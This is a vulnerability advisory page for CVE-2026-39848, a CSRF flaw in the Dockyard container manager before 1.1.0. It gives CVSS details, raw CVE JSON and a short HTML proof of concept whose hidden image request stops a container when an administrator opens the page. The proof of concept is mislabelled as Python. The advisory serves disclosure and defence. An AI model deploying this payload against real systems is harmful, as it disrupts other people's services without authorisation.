Security Vulnerability Report
中文
CVE-2026-39848 CVSS 6.5 MEDIUM

CVE-2026-39848

Published: 2026-04-09 22:16:34
Last Modified: 2026-04-13 15:02:28

Description

Dockyard is a Docker container management app. Prior to 1.1.0, Docker container start and stop operations are performed through GET requests without CSRF protection. A remote attacker can cause a logged-in administrator's browser to request /apps/action.php?action=stop&name=<container> or /apps/action.php?action=start&name=<container>, which starts or stops the target container. This vulnerability is fixed in 1.1.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Dockyard < 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-39848: CSRF to Stop Container --> <!-- Save as exploit.html and host it. Admin visit triggers the attack. --> <html> <body> <!-- Using img tag to send GET request silently --> <img src="http://target-dockyard-url/apps/action.php?action=stop&name=vulnerable_container" style="display:none;" /> <script> alert("CSRF attempt sent. Check if the container stopped."); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39848", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:34.407", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dockyard is a Docker container management app. Prior to 1.1.0, Docker container start and stop operations are performed through GET requests without CSRF protection. A remote attacker can cause a logged-in administrator's browser to request /apps/action.php?action=stop&name=<container> or /apps/action.php?action=start&name=<container>, which starts or stops the target container. This vulnerability is fixed in 1.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/10ij/dockyard/security/advisories/GHSA-jrf6-3j4j-q36g", "source": "[email protected]"}, {"url": "https://github.com/10ij/dockyard/security/advisories/GHSA-jrf6-3j4j-q36g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}